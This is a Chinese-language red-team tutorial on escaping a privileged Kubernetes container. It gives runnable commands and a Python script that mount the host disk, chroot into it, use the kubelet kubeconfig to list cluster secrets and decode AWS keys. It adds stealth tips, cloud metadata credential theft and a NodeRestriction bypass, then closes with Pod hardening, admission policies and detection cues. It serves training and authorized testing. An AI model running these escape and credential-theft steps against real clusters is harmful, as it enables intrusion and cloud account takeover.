郑重声明:本文提及的所有技术、工具和攻击演示,均严格限制在已获得明确授权的测试环境中使用。严禁在任何未经授权的真实环境中进行测试,否则因此产生的一切法律后果由行为人自行承担。网络安全的核心是建设与防御,而非破坏。

前言

1. 技术背景

在当今的云原生时代,容器Kubernetes (K8s) 已成为应用部署和管理的标准。这种架构在提升效率和弹性的同时,也引入了全新的攻击面。对于红队和渗透测试人员而言,云原生环境的攻防不再是单一主机的对抗,而是演变为一个多层次、多阶段的立体化作战体系。本次云原生环境红队实战的核心,正是这个体系中的关键环节,它连接了应用层漏洞、基础设施权限和云服务凭证,是现代攻防体系中不可或缺的一环。

2. 学习价值

掌握本教程后,您将能够:

  • 解决“进来后怎么办”的问题:在通过应用漏洞获得一个容器的初始访问权限后,知道如何横向移动和纵向提权。
  • 理解攻击全貌:建立从单个容器到整个云账户的攻击链路认知,看清攻击者的完整渗透路径。
  • 提升防御能力:通过理解攻击原理和手法,能够从根源上设计和实施更有效的云原生安全防御策略。

3. 使用场景

本教程中描述的技术和云原生环境红队实战使用方法,在实际工作中主要应用于以下场景:

  • 授权渗透测试:模拟真实攻击者,对企业的云原生环境进行深度安全评估。
  • 红蓝对抗演练:作为攻击方(红队),检验防御方(蓝队)的监控、响应和溯源能力。
  • 安全架构评审:从攻击者视角出发,评估现有或规划中的云原生架构是否存在安全短板。

一、容器逃逸是什么

精确定义

容器逃逸(Container Escape)是指攻击者利用容器化环境中的漏洞或错误配置,突破容器的隔离边界,从而获得对宿主机(Node)文件系统、进程空间或网络资源的访问和控制权限的过程。

一个通俗类比

您可以将容器想象成一座公寓楼里的一个房间,这个房间有独立的门、墙壁和水电系统(即 NamespaceCgroups 等隔离技术)。正常情况下,您只能在自己的房间内活动。而容器逃逸,就相当于您找到了墙壁的一个裂缝、一个未上锁的维修通道(漏洞或错误配置),从而溜达到了公寓的走廊、电梯间甚至整栋楼的控制室(宿主机),进而可以影响其他房间。

实际用途

在红队实战中,容器逃逸是获取初始立足点后最关键的提权步骤。一旦成功,攻击者可以将权限从一个受限的应用环境,提升到可以控制多个容器、甚至整个集群节点的基础设施层面,为后续的集群渗透和云平台控制台接管奠定基础。

技术本质说明

容器技术的核心是利用 Linux 内核的 NamespacesControl Groups (Cgroups) 等特性来实现资源隔离和限制。

  • Namespaces 负责隔离视图,比如 PID(进程ID)、Mount(文件系统)、Network(网络)、UTS(主机名)等。
  • Cgroups 负责限制资源使用,比如 CPU、内存、磁盘I/O。

容器逃逸的原理,本质上就是绕过或滥用这些隔离机制。常见的逃逸方式包括:

  1. 内核漏洞利用:利用内核本身存在的漏洞,直接破坏隔离边界。
  2. 危险配置利用:例如挂载了敏感的宿主机目录(如 /proc)、开启了特权模式(privileged)等。
  3. 容器运行时漏洞:利用 Docker、containerd 等容器运行时自身的漏洞。

下图清晰地展示了攻击者如何利用特权容器这一危险配置,从容器内部访问并控制宿主机的过程。

宿主机 (Node) 容器 (特权模式) 攻击者 宿主机 (Node) 容器 (特权模式) 攻击者 前提:攻击者已通过应用漏洞获得容器的Shell权限 发现宿主机磁盘 `/dev/vda1` 在容器内准备一个目录 成功将宿主机文件系统挂载到容器的 `/host` 目录 将自己的根文件系统切换为宿主机的根 现在可以执行任意宿主机命令,如修改SSH配置、窃取Kubelet凭证等 1. 执行 `fdisk -l` 2. 创建挂载点 `mkdir /host` 3. 挂载宿主机根目录 `mount /dev/vda1 /host` 请求挂载设备 允许挂载 (因特权模式) 4. 切换根目录 `chroot /host` 5. 获得宿主机完全控制权

这张图清晰地展示了利用特权容器进行逃逸的流程,帮助您直观理解其原理


二、环境准备

为了复现本次云原生环境红队实战,我们将使用 Metargetkind 快速搭建一个包含“特权容器逃逸”漏洞的 K8s 测试环境。

工具版本

  • Docker: 20.10.x 或更高版本
  • kind: v0.20.0 或更高版本
  • kubectl: v1.27.x 或更高版本
  • Metarget: 最新版

下载方式

  • Docker: 请参考官方文档进行安装:https://docs.docker.com/engine/install/
  • kind & kubectl:
    # 安装 kind (适用于 Linux)
    curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.20.0/kind-linux-amd64
    chmod +x ./kind
    sudo mv ./kind /usr/local/bin/kind
    
    # 安装 kubectl
    curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
    sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
    
  • Metarget:
    # 从 GitHub Releases 下载
    wget https://github.com/Metarget/metarget/releases/latest/download/metarget-linux-amd64.tar.gz
    tar -zxvf metarget-linux-amd64.tar.gz
    sudo mv metarget /usr/local/bin/
    

核心配置命令

无需额外配置,Metarget 会自动处理所有安装细节。

可运行环境命令

以下一条命令即可完成所有环境的搭建:

# 警告:此命令将创建一个包含已知漏洞的 K8s 集群,仅用于授权安全研究。
# 使用 Metarget 部署一个名为 "p-k8s-1-27" 的 kind 集群,并安装 "privileged-container" 漏洞环境。
mtctl install p-k8s-1-27 --verbose --pull-image privileged-container

执行完毕后,您的 kubeconfig 文件会自动配置好,可以直接使用 kubectl 与新创建的集群交互。


三、核心实战

我们的目标是从一个特权容器开始,逐步完成逃逸、渗透 K8s 集群,并最终接管云厂商的控制台。

步骤 1:获取初始访问权限 (模拟)

在真实场景中,这一步通常是通过应用漏洞(如 Log4j、RCE 等)实现的。这里我们直接模拟进入目标容器。

目的:获得容器内的 Shell。

# 1. 查找目标 Pod
kubectl get pods

# 输出应包含类似 "privileged-container-..." 的 Pod
# NAME                                  READY   STATUS    RESTARTS   AGE
# privileged-container-d9967957-n2v2k   1/1     Running   0          2m

# 2. 进入容器
POD_NAME=$(kubectl get pods -l app=privileged-container -o jsonpath='{.items[0].metadata.name}')
kubectl exec -it $POD_NAME -- /bin/bash

步骤 2:在容器内信息收集并逃逸至宿主机

目的:利用特权身份,访问宿主机资源并获得宿主机 Shell。

# 在容器的 Shell 中执行以下命令

# 警告:以下操作正在一个模拟的漏洞环境中进行,旨在演示攻击路径。

# 1. 确认特权身份:检查对设备的访问能力
fdisk -l
# 如果能看到 /dev/vda, /dev/sda 等宿主机磁盘设备,说明权限很高。

# 2. 创建挂载点
mkdir /host

# 3. 挂载宿主机根文件系统
#    注意:这里的设备名 /dev/vda1 可能因环境而异,根据上一步 fdisk 的结果调整。
mount /dev/vda1 /host

# 4. 切换根目录到宿主机
chroot /host

# 5. 验证是否成功
#    现在你已经位于宿主机的 Shell 中了!
#    可以查看宿主机的进程或文件来验证。
ps aux | head
ls -l /root

输出结果:执行 chroot /host 后,你的命令提示符可能不会改变,但实际上你已经获得了宿主机的 root 权限。

步骤 3:从宿主机窃取 K8s 凭证并渗透集群

目的:利用宿主机权限,找到 kubelet 的凭证,进而控制整个 K8s 集群。

# 在宿主机的 Shell (上一步 chroot 后的环境) 中执行

# 1. 查找 kubelet 配置文件
#    kubelet 的配置文件通常包含其用于与 API Server 通信的凭证路径。
cat /var/lib/kubelet/config.yaml

# 2. 从配置文件中找到 kubeconfig 路径
#    在输出中找到 "authentication" 和 "clientCAFile" 相关的配置,
#    以及 "kubeconfig" 字段,通常指向 /var/lib/kubelet/kubeconfig。
#    我们直接使用这个凭证。
KUBECONFIG_PATH="/var/lib/kubelet/kubeconfig"

# 3. 使用 kubelet 凭证列出集群中的所有 secrets
#    我们需要宿主机上的 kubectl 工具,如果不存在,可以从容器中复制或下载。
#    假设 kubectl 存在于 /usr/local/bin/kubectl
/usr/local/bin/kubectl --kubeconfig $KUBECONFIG_PATH get secrets -A

# 4. 查找高权限服务账号 (Service Account) 的 Token
#    寻找类似 "cluster-admin", "admin" 等高权限角色的 Secret。
#    一个常见的目标是 "kube-system" 命名空间下的 "clusterrole-aggregation-controller"
#    或者直接寻找默认的 admin token。
#    这里我们以一个假设的 admin-token 为例。
/usr/local/bin/kubectl --kubeconfig $KUBECONFIG_PATH describe secret <admin-token-secret-name> -n <namespace>

通过这一步,我们获得了可以管理整个 K8s 集群的 admin-token

步骤 4:利用集群权限窃取云厂商凭证

目的:在 K8s 集群中寻找与云厂商(如 AWS, GCP, Azure)交互的凭证,通常存储在 Secret 或 Pod 的环境变量中。

# 使用上一步获取的 admin 权限

# 1. 搜索所有命名空间中可能包含云凭证的 Secret
#    关键词可以是 "aws", "credentials", "access-key" 等。
kubectl get secrets -A | grep -i "aws\|credential"

# 2. 假设我们找到了一个名为 "aws-credentials" 的 Secret 在 "default" 命名空间
#    解码这个 Secret 来获取 Access Key 和 Secret Key
kubectl get secret aws-credentials -n default -o jsonpath='{.data.aws_access_key_id}' | base64 --decode
echo "" # 换行
kubectl get secret aws-credentials -n default -o jsonpath='{.data.aws_secret_access_key}' | base64 --decode

输出结果

AKIAxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

至此,我们成功从一个容器,一路渗透,最终获得了云平台的访问密钥。

自动化攻击脚本示例

以下是一个简化的 Python 脚本,用于自动化步骤 2 和 3,即从容器内逃逸并尝试窃取 kubelet 凭证。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import os
import subprocess
import sys
import time

# --- 警告 ---
# 本脚本仅用于经授权的渗透测试和安全研究环境。
# 未经授权在任何系统上运行此脚本都是非法的。
# --- 警告 ---

def run_command(command, shell=True, check=False):
    """执行命令并返回结果"""
    print(f"[*] 执行命令: {' '.join(command) if isinstance(command, list) else command}")
    try:
        result = subprocess.run(
            command,
            shell=shell,
            capture_output=True,
            text=True,
            check=check
        )
        if result.stdout:
            print(f"[+] 输出:\n{result.stdout.strip()}")
        if result.stderr:
            print(f"[!] 错误输出:\n{result.stderr.strip()}")
        return result
    except subprocess.CalledProcessError as e:
        print(f"[!!] 命令执行失败: {e}")
        return None
    except FileNotFoundError:
        print(f"[!!] 错误: 命令 '{command[0]}' 未找到。请确保在正确的环境中运行。")
        return None

def main(device_to_mount="/dev/vda1", mount_point="/host"):
    """
    主函数,执行容器逃逸和凭证窃取。
    :param device_to_mount: 要挂载的宿主机设备,可通过 'fdisk -l' 发现。
    :param mount_point: 容器内的挂载点。
    """
    print("--- 开始执行云原生环境红队实战 - 容器逃逸自动化脚本 ---")

    # 1. 检查是否在容器内 (简单检查)
    if not os.path.exists("/.dockerenv"):
        print("[!] 似乎不在一个 Docker 容器内。脚本退出。")
        # sys.exit(1) # 在真实脚本中应启用

    # 2. 创建挂载点
    if not os.path.exists(mount_point):
        run_command(f"mkdir {mount_point}")
    else:
        print(f"[*] 挂载点 {mount_point} 已存在。")

    # 3. 挂载宿主机文件系统
    print(f"[*] 尝试将宿主机设备 {device_to_mount} 挂载到 {mount_point}...")
    mount_result = run_command(f"mount {device_to_mount} {mount_point}")
    if mount_result and mount_result.returncode != 0:
        print(f"[!!] 挂载失败!可能是因为没有特权或设备名错误。")
        print("[!] 请在容器内手动执行 'fdisk -l' 确认正确的设备名。")
        sys.exit(1)
    print("[+] 宿主机文件系统挂载成功!")
    time.sleep(1)

    # 4. 在宿主机环境中执行命令 (通过 chroot)
    print("[*] 尝试在宿主机环境中窃取 kubelet 凭证...")
    chroot_cmd_prefix = f"chroot {mount_point}"
    
    # 查找 kubelet 配置文件
    kubelet_config_path = "/var/lib/kubelet/config.yaml"
    cat_cmd = f"{chroot_cmd_prefix} cat {kubelet_config_path}"
    config_content = run_command(cat_cmd)

    if config_content and config_content.returncode == 0:
        print("[+] 成功读取 kubelet 配置文件!")
        # 这是一个演示,真实脚本会解析 YAML 找到 kubeconfig 路径
        kubeconfig_path_on_host = "/var/lib/kubelet/kubeconfig"
        print(f"[*] 假设 kubeconfig 位于宿主机的: {kubeconfig_path_on_host}")

        # 使用 kubelet 的 kubeconfig 列出 secrets
        # 假设 kubectl 在宿主机的 /usr/bin/kubectl
        kubectl_on_host = "/usr/bin/kubectl"
        get_secrets_cmd = f"{chroot_cmd_prefix} {kubectl_on_host} --kubeconfig {kubeconfig_path_on_host} get secrets -A"
        run_command(get_secrets_cmd)
        print("\n[+] 成功使用 kubelet 凭证列出集群所有 Secrets!")
        print("[*] 下一步:手动分析输出,寻找高权限 Service Account Token。")
    else:
        print("[!!] 无法读取 kubelet 配置文件。逃逸可能不完整或路径错误。")

    # 5. 清理
    print(f"[*] 卸载挂载点 {mount_point}...")
    run_command(f"umount {mount_point}")
    print("--- 脚本执行完毕 ---")


if __name__ == "__main__":
    # 参数化:允许用户通过命令行参数指定设备
    # 例如:python3 exploit.py /dev/sda1
    device = sys.argv[1] if len(sys.argv) > 1 else "/dev/vda1"
    main(device_to_mount=device)


四、进阶技巧

常见错误

  • mount 失败:最常见的原因是容器非特权模式,没有挂载设备的权限。另一个原因是设备名错误(不是所有环境都是 /dev/vda1),务必先用 fdisk -llsblk 确认。
  • chroot 后命令找不到chroot 后,你的 PATH 环境变量可能不正确或不存在。使用绝对路径执行命令(如 /usr/bin/ls)可以解决。
  • K8s API 访问被拒绝:即使拿到了 kubelet 的凭证,也可能因为集群配置了严格的 NodeRestriction 准入控制器,导致 kubelet 只能访问与自身节点相关的资源。此时需要寻找其他突破口。

性能 / 成功率优化

  • 信息收集自动化:编写脚本自动检查容器内的环境变量、挂载点(mount 命令)、proc 文件系统、capsh --print 查看权能(Capabilities),快速判断可用的逃逸路径。
  • 利用 Service Account Token:容器内默认会挂载一个 Service Account 的 Token(位于 /var/run/secrets/kubernetes.io/serviceaccount/token)。即使无法逃逸到宿主机,也应第一时间检查此 Token 的权限,看是否能直接通过它操作 K8s API。

实战经验总结

  • 隐蔽性是关键:在真实对抗中,直接挂载根目录、执行 chroot 等行为会产生非常明显的日志。更隐蔽的方式是只挂载 /var/lib/kubelet/etc/kubernetes 等关键目录,或者不挂载文件系统,而是通过 nsenter 命令直接进入宿主机的某个进程的命名空间。
  • 目标多样性:逃逸到宿主机后,目标不只有 K8s 凭证。还应关注:
    • 宿主机上的其他容器。
    • 云元数据服务(IMDS),如 http://169.254.169.254,尝试获取宿主机的 IAM Role 凭证。
    • 宿主机上的 SSH 私钥。

对抗 / 绕过思路

  • 绕过 NodeRestriction:如果 NodeRestriction 开启,kubelet 凭证权限受限。但如果能找到一个有 Pod create 权限的 Service Account Token,就可以在任意节点(包括控制平面节点)上创建一个挂载了该节点根目录的特权 Pod,从而绕过限制,直接控制主节点。
  • 利用其他危险挂载:除了挂载宿主机根目录,挂载宿主机 Docker Socket (/var/run/docker.sock) 同样致命。攻击者可以通过它在宿主机上启动任意配置的容器,包括特权容器,从而实现逃逸。

五、注意事项与防御

错误写法 vs 正确写法 (Pod 安全配置)

  • 错误写法 (特权容器)

    apiVersion: v1
    kind: Pod
    metadata:
      name: bad-pod
    spec:
      containers:
      - name: main
        image: ubuntu
        securityContext:
          privileged: true # <-- 极度危险!
    
  • 正确写法 (遵循最小权限原则)

    apiVersion: v1
    kind: Pod
    metadata:
      name: good-pod
    spec:
      automountServiceAccountToken: false # 如果不需要访问 K8s API,则关闭
      containers:
      - name: main
        image: ubuntu
        securityContext:
          privileged: false
          allowPrivilegeEscalation: false # 禁止提权
          readOnlyRootFilesystem: true # 根文件系统只读
          runAsNonRoot: true # 以非 root 用户运行
          runAsUser: 1001
          capabilities:
            drop:
              - "ALL" # 丢弃所有非必需的权能
    

风险提示

  • 特权模式 (privileged: true) 相当于完全放弃了容器隔离,应在生产环境中绝对禁止
  • 挂载宿主机敏感目录(如 /, /proc, /var/run/docker.sock)同样是高危操作,必须严格审查。

开发侧安全代码范式

  • 使用 Distroless/Slim 镜像:选择不包含 shell、包管理器和其他非必要工具的基础镜像,减小攻击面。
  • 多阶段构建:在 Dockerfile 中使用多阶段构建,最终镜像只包含编译好的应用二进制文件,不含源代码和构建工具。

运维侧加固方案

  • 使用 Pod Security Admission (PSA) / Policy:在 K8s 集群层面强制实施安全策略(如 baselinerestricted),禁止创建特权容器等不安全的 Pod。
  • 启用 NodeRestrictionKubelet-serving-cert-rotation:限制 kubelet 的权限,并确保其凭证定期轮换。
  • 部署容器安全运行时:使用如 gVisorKata Containers 等提供更强隔离性的沙箱化容器运行时。
  • 网络策略 (Network Policies):使用 NetworkPolicy 限制 Pod 之间的网络访问,遵循“默认拒绝”原则。

日志检测线索

  • 异常挂载操作:监控宿主机的 auditd 日志,检测来自容器进程的 mount 系统调用。
  • chroot 使用chroot 是一个非常可疑的行为,应重点监控。
  • 访问 Kubelet 配置文件:对 /var/lib/kubelet/config.yaml/var/lib/kubelet/kubeconfig 等文件的异常读取行为进行告警。
  • 容器内执行敏感命令:监控容器内执行的 fdisk, lsblk, nsenter 等命令。
  • 云元数据服务访问:监控来自非预期 Pod 对 169.254.169.254 的访问。

总结

  1. 核心知识:云原生环境的渗透是一条环环相扣的攻击链,从容器逃逸(提权)-> 宿主机控制(立足)-> K8s 集群渗透(内网漫游)-> 云凭证窃取(最终目标)。
  2. 使用场景:本云原生环境红队实战教程的技术路径是授权红蓝对抗和渗透测试中的经典打法,用于评估云原生基础设施的纵深防御能力。
  3. 防御要点:防御的核心是最小权限原则。通过 K8s 的 Pod 安全策略、网络策略和选择安全的基础镜像,在部署阶段就消除大部分风险。同时,纵深防御和运行时检测也至关重要。
  4. 知识体系连接:本次实战连接了 Linux 内核安全(命名空间、权能)、Kubernetes 安全架构(API Server、Kubelet、RBAC)和云安全(元数据服务、IAM)三大领域。
  5. 进阶方向:深入研究 eBPF 进行安全监控与攻防、学习其他类型的容器逃逸技术(如利用其他危险权能、内核漏洞)、以及针对 Service Mesh(服务网格)的渗透技术。

自检清单

  • 是否说明技术价值?
  • 是否给出学习目标?
  • 是否有 Mermaid 核心机制图?
  • 是否有可运行代码?
  • 是否有防御示例?
  • 是否连接知识体系?
  • 是否避免模糊术语?
Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐